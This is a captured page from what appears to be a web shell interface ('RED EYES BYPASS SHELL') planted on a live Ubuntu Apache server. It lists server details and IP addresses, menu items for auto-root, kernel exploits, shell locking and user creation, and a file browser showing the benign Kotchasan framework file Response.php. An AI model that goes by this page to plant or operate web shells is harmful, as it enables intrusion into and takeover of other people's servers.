Linux sothorn202 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
accout /
Kotchasan /
Http /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
AbstractMessage.php
7.18
KB
-rwxr-xr-x
AbstractRequest.php
6.46
KB
-rwxr-xr-x
Message.php
372
B
-rwxr-xr-x
NotFound.php
960
B
-rwxr-xr-x
Request.php
20.09
KB
-rwxr-xr-x
Response.php
6.43
KB
-rwxr-xr-x
Stream.php
8.98
KB
-rwxr-xr-x
UploadedFile.php
17.82
KB
-rwxr-xr-x
Uri.php
23.18
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Response.php
<?php /** * @filesource Kotchasan/Http/Response.php * * @copyright 2016 Goragod.com * @license https://www.kotchasan.com/license/ * * @see https://www.kotchasan.com/ */ namespace Kotchasan\Http; use Psr\Http\Message\ResponseInterface; /** * Response Class * * @author Goragod Wiriya <admin@goragod.com> * * @since 1.0 */ class Response extends Message implements ResponseInterface { /** * Status codes * * @var array */ public static $statusTexts = array( 100 => 'Continue', 101 => 'Switching Protocols', 102 => 'Processing', // RFC2518 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 203 => 'Non-Authoritative Information', 204 => 'No Content', 205 => 'Reset Content', 206 => 'Partial Content', 207 => 'Multi-Status', // RFC4918 208 => 'Already Reported', // RFC5842 226 => 'IM Used', // RFC3229 300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 305 => 'Use Proxy', 306 => 'Reserved', 307 => 'Temporary Redirect', 308 => 'Permanent Redirect', // RFC7238 400 => 'Bad Request', 401 => 'Unauthorized', 402 => 'Payment Required', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 406 => 'Not Acceptable', 407 => 'Proxy Authentication Required', 408 => 'Request Timeout', 409 => 'Conflict', 410 => 'Gone', 411 => 'Length Required', 412 => 'Precondition Failed', 413 => 'Request Entity Too Large', 414 => 'Request-URI Too Long', 415 => 'Unsupported Media Type', 416 => 'Requested Range Not Satisfiable', 417 => 'Expectation Failed', 418 => 'I\'m a teapot', // RFC2324 422 => 'Unprocessable Entity', // RFC4918 423 => 'Locked', // RFC4918 424 => 'Failed Dependency', // RFC4918 425 => 'Reserved for WebDAV advanced collections expired proposal', // RFC2817 426 => 'Upgrade Required', // RFC2817 428 => 'Precondition Required', // RFC6585 429 => 'Too Many Requests', // RFC6585 431 => 'Request Header Fields Too Large', // RFC6585 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Timeout', 505 => 'HTTP Version Not Supported', 506 => 'Variant Also Negotiates (Experimental)', // RFC2295 507 => 'Insufficient Storage', // RFC4918 508 => 'Loop Detected', // RFC5842 510 => 'Not Extended', // RFC2774 511 => 'Network Authentication Required' // RFC6585 ); /** * เนื้อหา * * @var string */ protected $content; /** * @var string */ protected $reasonPhrase; /** * @var int */ protected $statusCode; /** * create Response * * @param int $code status Code * @param string||null $reasonPhrase ถ้าไม่กำหนดจะใช้ข้อความจากระบบ */ public function __construct($code = 200, $reasonPhrase = null) { $this->statusCode = $code; $this->reasonPhrase = $reasonPhrase; } /** * คืนค่าเนื้อหาของ Response * * @return string */ public function getContent() { return $this->content; } /** * Gets the response reason phrase associated with the status code * * @see http://tools.ietf.org/html/rfc7231#section-6 * @see http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml * * @return string */ public function getReasonPhrase() { if ($this->reasonPhrase) { return $this->reasonPhrase; } if (isset(static::$statusTexts[$this->statusCode])) { return static::$statusTexts[$this->statusCode]; } return ''; } /** * คืนค่า Response Status * * @return int */ public function getStatusCode() { return $this->statusCode; } /** * Sends HTTP headers and content * * @return \static */ public function send() { $this->sendHeaders(); $this->sendContent(); return $this; } /** * กำหนดเนื้อหาให้กับ Response * * @param mixed $content * * @throws \InvalidArgumentException ถ้า $content ไม่ใช่ string * * @return \static */ public function withContent($content) { if (null !== $content && !is_string($content) && !is_numeric($content) && !is_callable(array($content, '__toString'))) { throw new \InvalidArgumentException(sprintf('The Response content must be a string or object implementing __toString(), "%s" given.', gettype($content))); } $this->content = (string) $content; return $this; } /** * กำหนดค่า status code * * @param int $code * @param string $reasonPhrase * * @return \static */ public function withStatus($code, $reasonPhrase = '') { $clone = clone $this; $clone->statusCode = $code; $clone->reasonPhrase = $reasonPhrase; return $clone; } /** * ส่งออกเนื้อหา * * @return \static */ protected function sendContent() { if ($this->content) { echo $this->content; } return $this; } /** * ส่งออก HTTP headers * * @return \static */ protected function sendHeaders() { if (headers_sent()) { return $this; } header(sprintf('HTTP/%s %s %s', $this->protocol, $this->statusCode, $this->getReasonPhrase()), true, $this->statusCode); foreach ($this->headers as $name => $values) { foreach ($values as $value) { header($name.': '.$value); } } return $this; } }
Close